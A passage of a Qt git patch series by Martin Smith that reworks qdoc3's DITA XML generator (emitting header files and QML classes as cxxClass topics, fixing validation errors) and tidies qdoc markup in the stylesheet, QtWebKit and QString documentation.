(!membersLink.isEmpty()) { - writeXrefListItem(membersLink,"List of all members, including inherited members"); - } - - QString obsoleteLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Obsolete); - if (!obsoleteLink.isEmpty()) { - writeXrefListItem(obsoleteLink,"Obsolete members"); - } - - QString compatLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Compat); - if (!compatLink.isEmpty()) { - writeXrefListItem(compatLink,"Qt 3 support members"); - } - - xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // bool needOtherSection = false; @@ -1859,6 +1780,168 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark // not included: +#if 0 + QString membersLink = generateListOfAllMemberFile(inner, marker); + QString obsoleteLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Obsolete); + QString compatLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Compat); + if (!membersLink.isEmpty() || + !obsoleteLink.isEmpty() || + !compatLink.isEmpty()) { + xmlWriter().writeStartElement("ul"); + if (!membersLink.isEmpty()) + writeXrefListItem(membersLink,"List of all members, including inherited members"); + if (!obsoleteLink.isEmpty()) + writeXrefListItem(obsoleteLink,"Obsolete members"); + if (!compatLink.isEmpty()) + writeXrefListItem(compatLink,"Qt 3 support members"); + xmlWriter().writeEndElement(); // + } +#endif + xmlWriter().writeEndElement(); // + } + else if ((inner->type() == Node::Fake) && (inner->subType() == Node::HeaderFile)) { + const FakeNode* fn = const_cast(static_cast(inner)); + rawTitle = marker->plainName(inner); + fullTitle = marker->plainFullName(inner); + title = rawTitle; + + /* + Note: Because the C++ specialization we are using + has no element, we are using the + element with an outputclass attribute + set to "headerfile" . + */ + generateHeader(inner, fullTitle); + generateBrief(inner, marker); // + xmlWriter().writeStartElement(CXXCLASSDETAIL); + xmlWriter().writeStartElement("apiDesc"); + xmlWriter().writeAttribute("spectitle",title); + Text brief = fn->doc().briefText(); // zzz + if (!brief.isEmpty()) { + xmlWriter().writeStartElement("p"); + generateText(brief, fn, marker); + xmlWriter().writeEndElement(); //

    + } + generateIncludes(fn, marker); + generateStatus(fn, marker); + generateThreadSafeness(fn, marker); + generateSince(fn, marker); + xmlWriter().writeEndElement(); // + + bool needOtherSection = false; + QList
    summarySections; + summarySections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay); + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty() && s->reimpMembers.isEmpty()) { + if (!s->inherited.isEmpty()) + needOtherSection = true; + } + else { + QString attr; + if (!s->members.isEmpty()) { + xmlWriter().writeStartElement("section"); + attr = cleanRef((*s).name).toLower() + " redundant"; + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // + generateSection(s->members, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); //
    + } + if (!s->reimpMembers.isEmpty()) { + QString name = QString("Reimplemented ") + (*s).name; + attr = cleanRef(name).toLower() + " redundant"; + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc(name)); + xmlWriter().writeEndElement(); // + generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); //
    + } + } + ++s; + } + if (needOtherSection) { + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","additional-inherited-members redundant"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeCharacters("Additional Inherited Members"); + xmlWriter().writeEndElement(); // + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty()) + generateSectionInheritedList(*s, inner, marker); + ++s; + } + xmlWriter().writeEndElement(); //
    + } + + writeDetailedDescription(fn, marker, false, QString("Detailed Description")); + xmlWriter().writeEndElement(); // + + // not included: + // not included: + + QList
    detailSections; + detailSections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); + s = detailSections.begin(); + while (s != detailSections.end()) { + if ((*s).name == "Classes") { + writeNestedClasses((*s),fn); + break; + } + ++s; + } + + s = detailSections.begin(); + while (s != detailSections.end()) { + if ((*s).name == "Function Documentation") { + writeFunctions((*s),fn,marker); + } + else if ((*s).name == "Type Documentation") { + writeEnumerations((*s),marker); + writeTypedefs((*s),marker); + } + else if ((*s).name == "Namespaces") { + qDebug() << "Nested namespaces" << outFileName(); + } + else if ((*s).name == "Macro Documentation") { + writeMacros((*s),marker); + } + ++s; + } +#if 0 + QString membersLink = generateListOfAllMemberFile(inner, marker); + QString obsoleteLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Obsolete); + QString compatLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Compat); + if (!membersLink.isEmpty() || + !obsoleteLink.isEmpty() || + !compatLink.isEmpty()) { + xmlWriter().writeStartElement("ul"); + if (!membersLink.isEmpty()) + writeXrefListItem(membersLink,"List of all members, including inherited members"); + if (!obsoleteLink.isEmpty()) + writeXrefListItem(obsoleteLink,"Obsolete members"); + if (!compatLink.isEmpty()) + writeXrefListItem(compatLink,"Qt 3 support members"); + xmlWriter().writeEndElement(); // + } +#endif xmlWriter().writeEndElement(); // } } @@ -1906,7 +1989,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker if (moduleNamespaceMap.contains(fake->name())) { xmlWriter().writeStartElement("section"); xmlWriter().writeAttribute("outputclass","namespaces"); - xmlWriter().writeStartElement("ttitle"); + xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); xmlWriter().writeCharacters("Namespaces"); xmlWriter().writeEndElement(); // @@ -1924,6 +2007,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker xmlWriter().writeEndElement(); //
    } } +#if 0 else if (fake->subType() == Node::HeaderFile) { generateStatus(fake, marker); QString membersLink = generateListOfAllMemberFile(fake, marker); @@ -1951,11 +2035,12 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker xmlWriter().writeEndElement(); //
    } } +#endif else if (fake->subType() == Node::QmlClass) { const QmlClassNode* qml_cn = static_cast(fake); const ClassNode* cn = qml_cn->classNode(); xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass","apidesc"); + xmlWriter().writeAttribute("outputclass","apiDesc"); generateQmlInstantiates(qml_cn, marker); generateQmlInherits(qml_cn, marker); generateQmlInheritedBy(qml_cn, marker); @@ -2074,45 +2159,7 @@ void DitaXmlGenerator::generateHeader(const Node* node, QString version; QString outputclass; - if (node->type() == Node::Fake || subpage) { - mainElement = "topic"; - nameElement = "title"; - dtd = "dtd/topic.dtd"; - doctype = ""; - switch (node->subType()) { - case Node::Page: - outputclass = "page"; - break; - case Node::Group: - outputclass = "group"; - break; - case Node::Example: - outputclass = "example"; - break; - case Node::HeaderFile: - outputclass = "headerfile"; - break; - case Node::File: - outputclass = "file"; - break; - case Node::Image: // not used - outputclass = "image"; - break; - case Node::Module: - outputclass = "module"; - break; - case Node::ExternalPage: // not used - outputclass = "externalpage"; - break; - case Node::QmlClass: - outputclass = "QML-class"; - break; - default: - outputclass = "page"; - } - } - else if (node->type() == Node::Class) { + if (node->type() == Node::Class) { mainElement = "cxxClass"; nameElement = "apiName"; dtd = "dtd/cxxClass.dtd"; @@ -2131,6 +2178,53 @@ void DitaXmlGenerator::generateHeader(const Node* node, version + "//EN\" \"" + dtd + "\">"; outputclass = "namespace"; } + else if (node->type() == Node::Fake || subpage) { + if (node->subType() == Node::HeaderFile) { + mainElement = "cxxClass"; + nameElement = "apiName"; + dtd = "dtd/cxxClass.dtd"; + version = "0.6.0"; + doctype = ""; + outputclass = "headerfile"; + } + else { + mainElement = "topic"; + nameElement = "title"; + dtd = "dtd/topic.dtd"; + doctype = ""; + switch (node->subType()) { + case Node::Page: + outputclass = "page"; + break; + case Node::Group: + outputclass = "group"; + break; + case Node::Example: + outputclass = "example"; + break; + case Node::File: + outputclass = "file"; + break; + case Node::Image: // not used + outputclass = "image"; + break; + case Node::Module: + outputclass = "module"; + break; + case Node::ExternalPage: // not used + outputclass = "externalpage"; + break; + case Node::QmlClass: + outputclass = "QML-class"; + break; + default: + outputclass = "page"; + } + } + } xmlWriter().writeDTD(doctype); xmlWriter().writeComment(node->doc().location().fileName()); @@ -2441,6 +2535,7 @@ QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode* inner, return fileName; } +#if 0 QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, CodeMarker* marker, CodeMarker::Status status) @@ -2539,6 +2634,7 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, endSubPage(); return fileName; } +#endif /*! Write the XML for the class hierarchy to the current XML stream. @@ -4642,7 +4738,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, FunctionNode* fn = const_cast(static_cast(*m)); xmlWriter().writeStartElement(CXXFUNCTION); xmlWriter().writeAttribute("id",fn->guid()); - xmlWriter().writeStartElement(APINAME); + xmlWriter().writeStartElement("apiName"); if (fn->metaness() == FunctionNode::Signal) xmlWriter().writeAttribute("class","signal"); else if (fn->metaness() == FunctionNode::Slot) @@ -4811,7 +4907,7 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, const EnumNode* en = static_cast(*m); xmlWriter().writeStartElement(CXXENUMERATION); xmlWriter().writeAttribute("id",en->guid()); - xmlWriter().writeStartElement(APINAME); + xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(en->name()); xmlWriter().writeEndElement(); // generateBrief(en,marker); @@ -4861,7 +4957,7 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, QList::ConstIterator i = items.begin(); while (i != items.end()) { xmlWriter().writeStartElement(CXXENUMERATOR); - xmlWriter().writeStartElement(APINAME); + xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters((*i).name()); xmlWriter().writeEndElement(); // @@ -4887,7 +4983,7 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, // not included: if (!(*i).text().isEmpty()) { - xmlWriter().writeStartElement(APIDESC); + xmlWriter().writeStartElement("apiDesc"); generateText((*i).text(), en, marker); xmlWriter().writeEndElement(); // } @@ -4926,7 +5022,7 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, const TypedefNode* tn = static_cast(*m); xmlWriter().writeStartElement(CXXTYPEDEF); xmlWriter().writeAttribute("id",tn->guid()); - xmlWriter().writeStartElement(APINAME); + xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(tn->name()); xmlWriter().writeEndElement(); // generateBrief(tn,marker); @@ -4986,7 +5082,7 @@ void DitaXmlGenerator::writeProperties(const Section& s, const PropertyNode* pn = static_cast(*m); xmlWriter().writeStartElement(CXXVARIABLE); xmlWriter().writeAttribute("id",pn->guid()); - xmlWriter().writeStartElement(APINAME); + xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(pn->name()); xmlWriter().writeEndElement(); // generateBrief(pn,marker); @@ -5095,7 +5191,7 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, const VariableNode* vn = static_cast(*m); xmlWriter().writeStartElement(CXXVARIABLE); xmlWriter().writeAttribute("id",vn->guid()); - xmlWriter().writeStartElement(APINAME); + xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(vn->name()); xmlWriter().writeEndElement(); // generateBrief(vn,marker); @@ -5177,7 +5273,7 @@ void DitaXmlGenerator::writeMacros(const Section& s, if (fn->isMacro()) { xmlWriter().writeStartElement(CXXDEFINE); xmlWriter().writeAttribute("id",fn->guid()); - xmlWriter().writeStartElement(APINAME); + xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(fn->name()); xmlWriter().writeEndElement(); // generateBrief(fn,marker); @@ -5337,7 +5433,7 @@ void DitaXmlGenerator::writeDetailedDescription(const Node* node, inDetailedDescription = true; if (apiDesc) { inApiDesc = true; - xmlWriter().writeStartElement(APIDESC); + xmlWriter().writeStartElement("apiDesc"); if (!title.isEmpty()) { writeGuidAttribute(title); xmlWriter().writeAttribute("spectitle",title); @@ -5402,4 +5498,49 @@ void DitaXmlGenerator::writeNestedClasses(const Section& s, xmlWriter().writeEndElement(); // } +/*! + Recursive writing of DITA XML files from the root \a node. + */ +void +DitaXmlGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) +{ + if (!node->url().isNull()) + return; + + if (node->type() == Node::Fake) { + const FakeNode *fakeNode = static_cast(node); + if (fakeNode->subType() == Node::ExternalPage) + return; + if (fakeNode->subType() == Node::Image) + return; + if (fakeNode->subType() == Node::QmlPropertyGroup) + return; + if (fakeNode->subType() == Node::Page) { + if (node->count() > 0) + qDebug("PAGE %s HAS CHILDREN", qPrintable(fakeNode->title())); + } + } + + if (node->parent() != 0) { + beginSubPage(node->location(), fileName(node)); + if (node->type() == Node::Namespace || node->type() == Node::Class) { + generateClassLikeNode(node, marker); + } + else if (node->type() == Node::Fake) { + if (node->subType() == Node::HeaderFile) + generateClassLikeNode(node, marker); + else + generateFakeNode(static_cast(node), marker); + } + endSubPage(); + } + + NodeList::ConstIterator c = node->childNodes().begin(); + while (c != node->childNodes().end()) { + if ((*c)->isInnerNode() && (*c)->access() != Node::Private) + generateInnerNode((const InnerNode*) *c, marker); + ++c; + } +} + QT_END_NAMESPACE diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 0a9fc4a..b457061 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -246,6 +246,7 @@ class DitaXmlGenerator : public PageGenerator GuidMap* lookupGuidMap(const QString& fileName); virtual void beginSubPage(const Location& location, const QString& fileName); virtual void endSubPage(); + virtual void generateInnerNode(const InnerNode* node, CodeMarker* marker); QXmlStreamWriter& xmlWriter(); void writeDetailedDescription(const Node* node, CodeMarker* marker, -- cgit v0.12 From 68d0073707e8c3e3d7a5f93b5cf8ba9d02e2a468 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Sat, 23 Oct 2010 11:00:46 +0200 Subject: qdoc: Output the \qmlclass as a . Still more work to do here to make the detail sections correct. --- tools/qdoc3/ditaxmlgenerator.cpp | 155 ++++++++++++++++++++++++++++++++++++++- 1 file changed, 151 insertions(+), 4 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 42fa40a..8ae109d 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1944,8 +1944,146 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark #endif xmlWriter().writeEndElement(); // } + else if ((inner->type() == Node::Fake) && (inner->subType() == Node::QmlClass)) { + const QmlClassNode* qcn = const_cast(static_cast(inner)); + const ClassNode* cn = qcn->classNode(); + rawTitle = marker->plainName(inner); + fullTitle = marker->plainFullName(inner); + title = rawTitle + " Element Reference"; + //QString fullTitle = fake->fullTitle(); + //QString htmlTitle = fullTitle; + + generateHeader(inner, fullTitle); + generateBrief(inner, marker); // + + // not included: + + xmlWriter().writeStartElement(CXXCLASSDETAIL); + xmlWriter().writeStartElement("apiDesc"); + xmlWriter().writeAttribute("spectitle",title); + Text brief = qcn->doc().briefText(); // zzz + if (!brief.isEmpty()) { + xmlWriter().writeStartElement("p"); + generateText(brief, qcn, marker); + xmlWriter().writeEndElement(); //

    + } + generateQmlInstantiates(qcn, marker); + generateQmlInherits(qcn, marker); + generateQmlInheritedBy(qcn, marker); + generateSince(qcn, marker); + xmlWriter().writeEndElement(); // + + QList
    summarySections; + summarySections = marker->qmlSections(qcn,CodeMarker::Summary,0); + s = summarySections.begin(); + while (s != summarySections.end()) { + QString attr; + if (!s->members.isEmpty()) { + xmlWriter().writeStartElement("section"); + attr = cleanRef((*s).name).toLower() + " redundant"; + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // + generateQmlSummary(*s,qcn,marker); + //generateSection(s->members, inner, marker, CodeMarker::Summary); + //generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); //
    + } + if (!s->reimpMembers.isEmpty()) { + qDebug() << "GOT HEAH!"; + QString name = QString("Reimplemented ") + (*s).name; + attr = cleanRef(name).toLower() + " redundant"; + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc(name)); + xmlWriter().writeEndElement(); // + generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); //
    + } + ++s; + } + + writeDetailedDescription(qcn, marker, false, QString("Detailed Description")); + if (cn) + generateQmlText(cn->doc().body(), cn, marker, qcn->name()); + + QList
    detailSections; + detailSections = marker->qmlSections(qcn,CodeMarker::Detailed,0); + s = detailSections.begin(); + while (s != detailSections.end()) { + if (!s->members.isEmpty()) { + QString attr; + xmlWriter().writeStartElement("section"); + attr = cleanRef((*s).name).toLower(); + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // + NodeList::ConstIterator m = (*s).members.begin(); + while (m != (*s).members.end()) { + generateDetailedQmlMember(*m, qcn, marker); + ++m; + } + xmlWriter().writeEndElement(); //
    + } + ++s; + } + + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + } } + +#if 0 + while (s != detailSections.end()) { + if ((*s).name == "Member Function Documentation") { + writeFunctions((*s),qcn,marker); + } + else if ((*s).name == "Member Type Documentation") { + writeEnumerations((*s),marker); + writeTypedefs((*s),marker); + } + else if ((*s).name == "Member Variable Documentation") { + writeDataMembers((*s),marker); + } + else if ((*s).name == "Property Documentation") { + writeProperties((*s),marker); + } + else if ((*s).name == "Macro Documentation") { + writeMacros((*s),marker); + } + ++s; + } +#endif +#if 0 + QString membersLink = generateListOfAllMemberFile(inner, marker); + QString obsoleteLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Obsolete); + QString compatLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Compat); + if (!membersLink.isEmpty() || + !obsoleteLink.isEmpty() || + !compatLink.isEmpty()) { + xmlWriter().writeStartElement("ul"); + if (!membersLink.isEmpty()) + writeXrefListItem(membersLink,"List of all members, including inherited members"); + if (!obsoleteLink.isEmpty()) + writeXrefListItem(obsoleteLink,"Obsolete members"); + if (!compatLink.isEmpty()) + writeXrefListItem(compatLink,"Qt 3 support members"); + xmlWriter().writeEndElement(); // + } +#endif + /*! Write a list item for a \a link with the given \a text. */ @@ -2035,7 +2173,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker xmlWriter().writeEndElement(); //
    } } -#endif else if (fake->subType() == Node::QmlClass) { const QmlClassNode* qml_cn = static_cast(fake); const ClassNode* cn = qml_cn->classNode(); @@ -2091,6 +2228,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker xmlWriter().writeEndElement(); // return; } +#endif if (fake->doc().isEmpty()) { if (fake->subType() == Node::File) { @@ -2189,6 +2327,16 @@ void DitaXmlGenerator::generateHeader(const Node* node, version + "//EN\" \"" + dtd + "\">"; outputclass = "headerfile"; } + else if (node->subType() == Node::QmlClass) { + mainElement = "cxxClass"; + nameElement = "apiName"; + dtd = "dtd/cxxClass.dtd"; + version = "0.6.0"; + doctype = ""; + outputclass = "QML-class"; + } else { mainElement = "topic"; nameElement = "title"; @@ -2217,9 +2365,6 @@ void DitaXmlGenerator::generateHeader(const Node* node, case Node::ExternalPage: // not used outputclass = "externalpage"; break; - case Node::QmlClass: - outputclass = "QML-class"; - break; default: outputclass = "page"; } @@ -5529,6 +5674,8 @@ DitaXmlGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) else if (node->type() == Node::Fake) { if (node->subType() == Node::HeaderFile) generateClassLikeNode(node, marker); + else if (node->subType() == Node::QmlClass) + generateClassLikeNode(node, marker); else generateFakeNode(static_cast(node), marker); } -- cgit v0.12 From af7346651038054b1cc72e2475a01315fbc9966e Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 25 Oct 2010 09:46:48 +0200 Subject: doc: Moved a \target that was in the wrong place. --- doc/src/widgets-and-layouts/stylesheet.qdoc | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/doc/src/widgets-and-layouts/stylesheet.qdoc b/doc/src/widgets-and-layouts/stylesheet.qdoc index 6343e6a..e02e8c2 100644 --- a/doc/src/widgets-and-layouts/stylesheet.qdoc +++ b/doc/src/widgets-and-layouts/stylesheet.qdoc @@ -2091,8 +2091,7 @@ \row - \o \bold{\c messagebox-text- \target messagebox-text-interaction-flags-prop - \BR \c interaction-flags}* + \o \bold{\c messagebox-text-interaction-flags*} \target messagebox-text-interaction-flags-prop \o \l{#Number}{Number} \o The interaction behavior for text in a message box. Possible values are based on Qt::TextInteractionFlags. -- cgit v0.12 From 89df9c49f89a66feef720bcc81fba84c5632552f Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 25 Oct 2010 09:47:58 +0200 Subject: qdoc: Fixed some DITA XML validation errors. --- tools/qdoc3/ditaxmlgenerator.cpp | 20 ++++---------------- 1 file changed, 4 insertions(+), 16 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 8ae109d..3397033 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1276,10 +1276,10 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } break; case Atom::QuotationLeft: - xmlWriter().writeStartElement("blockquote"); + xmlWriter().writeStartElement("lq"); break; case Atom::QuotationRight: - xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // break; case Atom::RawString: xmlWriter().writeCharacters(atom->string()); @@ -1991,20 +1991,6 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark //generateSectionInheritedList(*s, inner, marker); xmlWriter().writeEndElement(); //
    } - if (!s->reimpMembers.isEmpty()) { - qDebug() << "GOT HEAH!"; - QString name = QString("Reimplemented ") + (*s).name; - attr = cleanRef(name).toLower() + " redundant"; - xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass",attr); - xmlWriter().writeStartElement("title"); - xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc(name)); - xmlWriter().writeEndElement(); // - generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); - generateSectionInheritedList(*s, inner, marker); - xmlWriter().writeEndElement(); //
    - } ++s; } @@ -2018,6 +2004,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark while (s != detailSections.end()) { if (!s->members.isEmpty()) { QString attr; + inSection = true; xmlWriter().writeStartElement("section"); attr = cleanRef((*s).name).toLower(); xmlWriter().writeAttribute("outputclass",attr); @@ -2031,6 +2018,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark ++m; } xmlWriter().writeEndElement(); //
    + inSection = false; } ++s; } -- cgit v0.12 From b0d64717d2c541976dc5524e4100c62f060e206f Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 25 Oct 2010 11:07:37 +0200 Subject: doc: Changed a table into 3 tables to eliminate a \raw. --- src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc index 0335d46..2be8e5e 100644 --- a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc +++ b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc @@ -103,8 +103,8 @@ The following locations are searched for plugins: \table - \header \o Linux/Unix (X11) \o Windows - \row \o{1,3} + \header \o Linux/Unix (X11) + \row \o \list \o \c{.mozilla/plugins} in the user's home directory \o \c{.netscape/plugins} in the user's home directory @@ -134,19 +134,20 @@ \o \c{$QTWEBKIT_PLUGIN_PATH} \endlist \endlist + \endtable - \o + \table + \header \o Windows + \row \o \list \o The user's \c{Application Data\Mozilla\plugins} directory \o Standard system locations of plugins for Quicktime, Flash, etc. \endlist + \endtable - \row - \raw HTML - Mac OS X - \endraw - \row - \o + \table + \header \o Mac OS X + \row \o \list \o \c{Library/Internet Plug-Ins} in the user's home directory \o The system \c{/Library/Internet Plug-Ins} directory -- cgit v0.12 From db88727a7dbf46e773745a7e22da6cf1e91611a8 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 25 Oct 2010 11:19:51 +0200 Subject: doc: Changed a \section in a \table into a \header. --- src/corelib/tools/qstring.cpp | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/corelib/tools/qstring.cpp b/src/corelib/tools/qstring.cpp index d8dab43..74eb7d4 100644 --- a/src/corelib/tools/qstring.cpp +++ b/src/corelib/tools/qstring.cpp @@ -646,10 +646,12 @@ const QString::Null QString::null = { }; class.) \table 100 % - \row + \header \o \section1 Note for C Programmers + \row + \o Due to C++'s type system and the fact that QString is \l{implicitly shared}, QStrings may be treated like \c{int}s or other basic types. For example: -- cgit v0.12 From 7e11ffb60b2c1259b1d43f99147db53c0f004f25 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 25 Oct 2010 11:32:49 +0200 Subject: doc: Removed illegal \section1. --- src/corelib/tools/qstring.cpp | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/corelib/tools/qstring.cpp b/src/corelib/tools/qstring.cpp index 74eb7d4..8083aee 100644 --- a/src/corelib/tools/qstring.cpp +++ b/src/corelib/tools/qstring.cpp @@ -647,8 +647,7 @@ const QString::Null QString::null = { }; \table 100 % \header - \o - \section1 Note for C Programmers + \o Note for C Programmers \row \o -- cgit v0.12 From cbcaa64e3ff7ad8293c95df938901694b3f472bd Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 25 Oct 2010 12:30:07 +0200 Subject: doc: Moved many \target commands that were in the wrong place. --- doc/src/widgets-and-layouts/stylesheet.qdoc | 62 +++++++++++++---------------- 1 file changed, 27 insertions(+), 35 deletions(-) diff --git a/doc/src/widgets-and-layouts/stylesheet.qdoc b/doc/src/widgets-and-layouts/stylesheet.qdoc index e02e8c2..b35232e 100644 --- a/doc/src/widgets-and-layouts/stylesheet.qdoc +++ b/doc/src/widgets-and-layouts/stylesheet.qdoc @@ -1995,7 +1995,7 @@ \l{#bottom-prop}{bottom}. \row - \o \bold{\c lineedit-password- \BR \c character}* \target lineedit-password-character-prop + \o \bold{\c lineedit-password-character*} \target lineedit-password-character-prop \o \l{#Number}{Number} \o The QLineEdit password character as a Unicode number. @@ -2152,7 +2152,7 @@ See also \l{#min-height-prop}{min-height}. \row - \o \bold{\c opacity}* \target opacity-prop + \o \bold{\c opacity*} \target opacity-prop \o \l{#Number}{Number} \o The opacity for a widget. Possible values are from 0 (transparent) to 255 (opaque). For the moment, this is @@ -2248,7 +2248,7 @@ \l{#bottom-prop}{bottom}. \row - \o \bold{\c selection-background-color}* \target selection-background-color-prop + \o \bold{\c selection-background-color*} \target selection-background-color-prop \o \l{#Brush}{Brush} \BR \o The background of selected text or items. @@ -2267,7 +2267,7 @@ \l{Qt Style Sheets Reference#background-prop}{background}. \row - \o \bold{\c selection-color}* \target selection-color-prop + \o \bold{\c selection-color*} \target selection-color-prop \o \l{#Brush}{Brush} \BR \o The foreground of selected text or items. @@ -2287,8 +2287,7 @@ and \l{#color-prop}{color}. \row - \o \bold{\c show-decoration- \target show-decoration-selected-prop - \BR \c selected}* + \o \bold{\c show-decoration-selected*} \target show-decoration-selected-prop \o \l{#Boolean}{Boolean} \o Controls whether selections in a QListView cover the entire row or just the extent of the text. @@ -2303,7 +2302,7 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 73 \row - \o \bold{\c spacing}* \target spacing-prop + \o \bold{\c spacing*} \target spacing-prop \o \l{#Length}{Length} \o Internal spacing in the widget. @@ -2321,7 +2320,7 @@ \l{#margin-prop}{margin}. \row - \o \bold{\c subcontrol-origin}* \target subcontrol-origin-prop + \o \bold{\c subcontrol-origin*} \target subcontrol-origin-prop \o \l{#Origin}{Origin} \o The origin rectangle of the \l subcontrol within the parent element. @@ -2337,7 +2336,7 @@ \l{Qt Style Sheets Reference#subcontrol-position-prop}{subcontrol-position}. \row - \o \bold{\c subcontrol-position}* \target subcontrol-position-prop + \o \bold{\c subcontrol-position*} \target subcontrol-position-prop \o \l{#Alignment}{Alignment} \o The alignment of the \l subcontrol within the origin rectangle specified by \l{Qt Style Sheets Reference#subcontrol-origin-prop} @@ -2705,8 +2704,7 @@ \o Shorthand border property. \row - \o \bold{Border \target Border Image - Image} + \o \bold{Border Image} \target Border Image \o \c none \BR | \l{Url} \l{Number}\{4\} \BR (\c stretch | \c repeat){0,2} \o A border image is an image that is composed of nine parts @@ -2722,8 +2720,7 @@ {CSS3 Draft Specification} for details. \row - \o 